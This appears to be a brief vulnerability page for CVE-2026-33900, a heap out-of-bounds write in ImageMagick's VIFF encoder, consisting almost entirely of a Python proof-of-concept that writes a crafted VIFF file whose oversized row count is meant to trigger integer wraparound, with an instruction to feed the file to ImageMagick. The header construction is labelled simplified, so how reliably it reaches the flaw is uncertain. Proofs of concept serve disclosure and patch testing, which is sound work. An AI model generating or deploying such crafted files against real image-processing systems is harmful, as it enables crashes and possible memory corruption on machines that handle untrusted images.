CVE-2026-33900 ImageMagick viff编码器堆越界写入漏洞

# Proof of Concept (PoC) for CVE-2026-33900 # This script generates a crafted VIFF image file to trigger the integer truncation issue. import struct def generate_malicious_viff(filename): with open(filename, 'wb') as f: # VIFF magic bytes f.write(b'\xab\x4b\x49\x1c') # VIFF header components (simplified) # Version f.write(struct.pack('<h', 1)) # Rows and Columns values that trigger int wraparound on 32-bit builds # Large value causing (rows * row_size) to truncate rows = 0x10000000 cols = 0x1 f.write(struct.pack('<i', rows)) f.write(struct.pack('<i', cols)) # Additional dummy headers and data to reach the vulnerable code path f.write(b'\x00' * 1000) if __name__ == "__main__": print("Generating malicious VIFF file...") generate_malicious_viff("crash.viff") print("File 'crash.viff' generated. Use with ImageMagick to trigger the vulnerability.")